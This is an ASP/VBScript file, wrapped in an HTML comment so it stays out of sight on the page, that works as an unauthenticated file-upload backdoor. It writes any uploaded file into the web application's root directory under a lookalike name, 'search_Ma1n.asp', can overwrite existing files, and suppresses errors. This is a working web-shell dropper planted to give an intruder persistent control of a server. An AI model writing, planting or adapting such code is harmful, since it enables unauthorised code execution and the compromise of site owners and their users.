<!-- 
<%
action=trim(request("action"))
if action="upload" then
streamUpload()
end if
sub echo(str)
response.write str
end sub
Sub showUpload(thePath)
echo "<style>body{margin:8;overflow:hidden;}</style>"
echo "<form method=post enctype='multipart/form-data' action='?thePath="&thePath&"&action=upload' onsubmit='this.Submit.disabled=true;;'>"
echo "上传文件: <input name=file type=file size=31><br/>保存为: "
echo "<input name=fileName type=text value=""" &thePath& "search_Ma1n.asp"" size=33>"
echo "<input type=checkbox name=writeMode value=True>覆盖模式<hr/>"
echo "<input name=Submit type=submit id=Submit value='上 传' onClick=""this.form.action+='&fileName='+this.form.fileName.value+'&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;"">"
echo  strJsCloseMe
echo "</form>"
End Sub
showUpload(request.ServerVariables("APPL_PHYSICAL_PATH"))
Sub streamUpload()
If isDebugMode = False Then
On Error Resume Next
end If
Server.ScriptTimeOut = 5000
Dim i, j, info, stream, streamT, theFile, fileName, overWrite, fileContent
theFile = Request("theFile")
fileName = Request("fileName")
overWrite = Request("overWrite")
If InStr(fileName, ":") <= 0 Then
fileName = fileName
end If
Set stream = Server.CreateObject("adodb.stream")
Set streamT = Server.CreateObject("adodb.stream")
With stream
.Type = 1
.Mode = 3
.Open
.Write Request.BinaryRead(Request.TotalBytes)
.Position = 0
fileContent = .Read()
i = InStrB(fileContent, chrB(13) & chrB(10))
info = LeftB(fileContent, i - 1)
i = Len(info) + 2
i = InStrB(i, fileContent, chrB(13) & chrB(10) & chrB(13) & chrB(10)) + 4 - 1
j = InStrB(i, fileContent, info) - 1
streamT.Type = 1
streamT.Mode = 3
streamT.Open
stream.position = i
.CopyTo streamT, j - i - 2
If overWrite = "true" Then
streamT.SaveToFile fileName, 2
 Else
streamT.SaveToFile fileName
end If
If Err.Number = 3004 Then
err.Clear
fileName = fileName & "\" & Split(theFile, "\")(UBound(Split(theFile ,"\")))
If overWrite="true" Then
streamT.SaveToFile fileName, 2
Else
streamT.SaveToFile fileName
end If
end If
chkErr(Err)
echo("<script language=""javascript"">alert('文件上传成功!\n" & Replace(fileName, "\", "\\") & "');</script>")
streamT.Close
.Close
end With
Set stream = Nothing
Set streamT = Nothing
End Sub
%>
 -->